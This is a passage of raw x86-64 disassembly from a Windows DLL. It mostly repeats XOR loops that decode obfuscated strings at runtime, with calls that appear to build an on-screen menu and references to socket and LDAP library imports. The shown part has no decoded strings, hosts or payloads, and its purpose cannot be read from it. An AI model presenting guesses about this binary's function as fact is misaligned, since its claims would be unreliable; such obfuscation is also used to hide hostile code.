packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008d2e0
cmp r8d, 0x13
jge 0x18008d410
movsxd rax, r8d
lea r9, [rbp + 0x2298]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008d3e0
lea rdx, [0x18023bfe8]
lea rcx, [rbp + 0x2298]
call fcn.1800031c0
cmp byte [0x1801b75d5], sil
mov eax, dword [0x1801b75d0]
movsd xmm0, qword [str._RXL_]
mov dword [rbp + 0x1ac8], eax
movzx eax, word [0x1801b75d4]
mov word [rbp + 0x1acc], ax
movsd qword [rbp + 0x1ac0], xmm0
je 0x18008d590
mov r8d, esi
cmp r12d, 2
jl 0x18008d545
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._RXL_]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1ac0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ac4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ac4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ac0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008d560
lea rdx, [0x18023bfd2]
lea rcx, [rbp + 0x1ac0]
call fcn.1800031c0
cmp byte [0x1801b75e5], sil
mov eax, dword [0x1801b75e0]
movsd xmm0, qword [str.wRGL]
mov dword [rbp + 0x1ad8], eax
movzx eax, word [0x1801b75e4]
mov word [rbp + 0x1adc], ax
movsd qword [rbp + 0x1ad0], xmm0
je 0x18008d710
mov r8d, esi
cmp r12d, 2
jl 0x18008d6c5
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wRGL]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1ad0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ad4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ad4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ad0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008d6e0
lea rdx, [0x18023bfe9]
lea rcx, [rbp + 0x1ad0]
call fcn.1800031c0
movzx eax, word [0x1801b75f0]
lea rdx, [0x18023bfea]
movsd xmm0, qword [str.zF_]
lea rcx, [rbp + 0x1350]
movsd qword [rbp + 0x1350], xmm0
xor byte [rbp + 0x1351], 0x33
xor byte [rbp + 0x1352], 0x34
xor byte [rbp + 0x1353], 0x35
xor byte [rbp + 0x1354], 0x36
xor byte [rbp + 0x1355], 0x37
xor byte [rbp + 0x1356], 0x38
xor byte [rbp + 0x1357], 0x39
mov word [rbp + 0x1358], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1358], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1359], 0x3b
mov byte [rbp + 0x135a], al
mov byte [rbp + 0x1350], 0x48
call fcn.1800031c0
cmp byte [0x1801b7605], sil
mov eax, dword [str.xIYU_]
movsd xmm0, qword [str._GAWYL]
mov dword [rbp + 0x1ae8], eax
movzx eax, word [0x1801b7604]
mov word [rbp + 0x1aec], ax
movsd qword [rbp + 0x1ae0], xmm0
je 0x18008d910
mov r8d, esi
cmp r12d, 2
jl 0x18008d8cb
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._GAWYL]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1ae0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ae4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ae4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ae0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008d8e0
lea rdx, [0x18023bfeb]
lea rcx, [rbp + 0x1ae0]
call fcn.1800031c0
cmp byte [0x1801b7613], sil
movsd xmm0, qword [str.sF_Z]
mov eax, dword [0x1801b7610]
movsd qword [rbp + 0x1450], xmm0
mov dword [rbp + 0x1458], eax
je 0x18008da80
mov r8d, esi
cmp r12d, 2
jl 0x18008da37
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sF_Z]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1450], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1454]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1454], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1450]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008da50
lea rdx, [0x18023bfd5]
lea rcx, [rbp + 0x1450]
call fcn.1800031c0
mov eax, dword [0x1801b7620]
mov r8d, esi
movsd xmm0, qword [str._WSC]
mov dword [rbp + 0x1848], eax
movzx eax, byte [0x1801b7624]
mov byte [rbp + 0x184c], al
movsd qword [rbp + 0x1840], xmm0
cmp r12d, 2
jl 0x18008dba7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._WSC]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1840], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1844]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1844], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1840]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008dbc0
lea rdx, [0x18023bfd6]
lea rcx, [rbp + 0x1840]
call fcn.1800031c0
movzx eax, byte [0x1801b7630]
lea rdx, [0x18023bfd7]
movsd xmm0, qword [str.xFYEeTYK:]
lea rcx, [rbp + 0xe50]
movsd qword [rbp + 0xe50], xmm0
xor al, 0x3a
xor byte [rbp + 0xe51], 0x33
xor byte [rbp + 0xe52], 0x34
xor byte [rbp + 0xe53], 0x35
xor byte [rbp + 0xe54], 0x36
xor byte [rbp + 0xe55], 0x37
xor byte [rbp + 0xe56], 0x38
xor byte [rbp + 0xe57], 0x39
mov byte [rbp + 0xe58], al
mov byte [rbp + 0xe50], Ordinal_79
call fcn.1800031c0
cmp byte [0x18023bfd4], sil
jne 0x18008de09
cmp byte [0x1801b7645], sil
mov eax, dword [str.YTPRL_]
movsd xmm0, qword [0x1801b7638]
mov dword [rbp + 0x1af8], eax
movzx eax, word [0x1801b7644]
mov word [rbp + 0x1afc], ax
movsd qword [rbp + 0x1af0], xmm0
je 0x18008dde0
mov r8d, esi
cmp r12d, 2
jl 0x18008dd9c
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7638]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1af0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1af4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1af4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1af0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008ddb0
lea rdx, [rbp + 0x1af0]
lea rcx, [rbp + 0x2980]
call fcn.180063310
mov rcx, rax
lea r8, [0x18023bfd8]
lea rdx, [0x18023bfd3]
call fcn.18006e2b0
cmp byte [0x18023bfd3], sil
jne 0x18008dfb3
cmp byte [0x1801b765d], sil
mov eax, dword [0x1801b7658]
movups xmm0, xmmword [str._R__TXO]
mov dword [rbp + 0x24a0], eax
movzx eax, word [0x1801b765c]
movups xmmword [rbp + 0x2490], xmm0
mov word [rbp + 0x24a4], ax
je 0x18008dfa0
mov r8d, esi
cmp r12d, 2
jl 0x18008df61
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2494]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008de70
cmp r8d, 0x16
jge 0x18008dfa0
movsxd rax, r8d
lea r9, [rbp + 0x2490]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x18008df70
lea rdx, [0x18023bfd4]
lea rcx, [rbp + 0x2490]
call fcn.1800031c0
call fcn.180006b10
movzx eax, byte [0x1801b7668]
lea rdx, [rbp + 0x508]
movsd xmm1, qword [str.tFZVBWW:]
lea rcx, [rbp + 0xcf0]
movsd qword [rbp + 0xcf0], xmm1
xor al, 0x3a
xor byte [rbp + 0xcf1], 0x33
xor r9d, r9d
xor byte [rbp + 0xcf2], 0x34
mov r8b, 1
xor byte [rbp + 0xcf3], 0x35
xor byte [rbp + 0xcf4], 0x36
xor byte [rbp + 0xcf5], 0x37
xor byte [rbp + 0xcf6], 0x38
xor byte [rbp + 0xcf7], 0x39
mov byte [rbp + 0xcf8], al
mov dword [rbp + 0x50c], 0x435bce89
mov dword [rbp + 0x508], 0x43a00000
mov byte [rbp + 0xcf0], 0x46
call fcn.180003bf0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x510]
call fcn.180016730
movzx ecx, word [0x1801b7670]
lea rdx, [rbp + 0x518]
movss xmm0, dword [rax]
mov eax, dword [str._VDT_E8]
mov dword [rbp + 0x1f8], eax
movzx eax, byte [0x1801b7672]
xor byte [rbp + 0x1f9], 0x33
xor al, 0x38
xor byte [rbp + 0x1fa], 0x34
xor byte [rbp + 0x1fb], 0x35
mov word [rbp + 0x1fc], cx
xor cl, 0x36
xor byte [rbp + 0x1fd], 0x37
mov byte [rbp + 0x1fc], cl
lea rcx, [rbp + 0x1f8]
mov byte [rbp + 0x1fe], al
movss dword [rbp + 0x518], xmm0
mov dword [rbp + 0x51c], 0x42200000
mov byte [rbp + 0x1f8], 0x52
call fcn.180002b60
test al, al
je 0x18008e10d
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008e10d
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x18008e10d
mov rax, qword [0x180240080]
mov byte [rax + rdx], reloc.WS2_32.dll_socket
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
mov eax, dword [0x1801b7680]
mov r8d, esi
movsd xmm0, qword [0x1801b7678]
mov dword [rbp + 0x1858], eax
movzx eax, byte [0x1801b7684]
mov byte [rbp + 0x185c], al
movsd qword [rbp + 0x1850], xmm0
mov dword [rbp + 0x524], 0x42200000
mov dword [rbp + 0x520], 0xbf800000
cmp r12d, 2
jl 0x18008e243
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7678]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1850], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1854]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1854], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1850]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008e250
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x1850]
call fcn.180002b60
test al, al
je 0x18008e2a0
mov byte [0x1802402f0], 1
jmp 0x18008e2ad
cmp byte [0x1802402f0], sil
je 0x18008e415
mov eax, dword [0x1801b7690]
mov r8d, esi
movsd xmm0, qword [0x1801b7688]
mov dword [rbp + 0x1868], eax
movzx eax, byte [0x1801b7694]
mov byte [rbp + 0x186c], al
movsd qword [rbp + 0x1860], xmm0
cmp r12d, 2
jl 0x18008e3c1
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7688]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1860], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1864]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1864], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1860]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008e3d0
xor edx, edx
lea rcx, [rbp + 0x1860]
call fcn.1800202c0
mov byte [0x1802402f0], sil
mov eax, dword [0x1801b76a0]
mov r8d, esi
movsd xmm0, qword [0x1801b7698]
mov dword [rbp + 0x1878], eax
movzx eax, byte [0x1801b76a4]
mov byte [rbp + 0x187c], al
movsd qword [rbp + 0x1870], xmm0
cmp r12d, 2
jl 0x18008e529
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7698]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1870], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1874]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1874], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1870]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008e540
xor edx, edx
lea rcx, [rbp + 0x1870]
mov r8d, 0x105
call fcn.180010700
test al, al
je 0x18008e856
movzx eax, byte [0x1801b76b8]
mov r8d, esi
mov byte [rbp + 0x2008], al
movups xmm0, xmmword [str.w__PD]
movups xmmword [rbp + 0x1ff8], xmm0
cmp r12d, 2
jl 0x18008e6c1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1ffc]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008e5d0
cmp r8d, 0x11
jge 0x18008e700
movsxd rax, r8d
lea r9, [rbp + 0x1ff8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18008e6d0
mov qword [rsp + 0x28], rsi
lea rdx, [0x1802402f8]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, 8
lea rcx, [rbp + 0x1ff8]
call fcn.18004a5d0
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
movzx eax, word [0x1801b76bc]
lea rdx, [rbp + 0x528]
mov word [rbp - 0x6c], ax
lea rcx, [rbp - 0x6c]
movzx eax, byte [0x1801b76be]
xor byte [rbp - 0x6b], 0x33
xor al, 0x34
mov byte [rbp - 0x6a], al
mov dword [rbp + 0x528], 0x42e60000
mov dword [rbp + 0x52c], 0x42200000
mov byte [rbp - 0x6c], reloc.WLDAP32.dll_Ordinal_79
call fcn.180002b60
test al, al
je 0x18008e7b1
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008e7ac
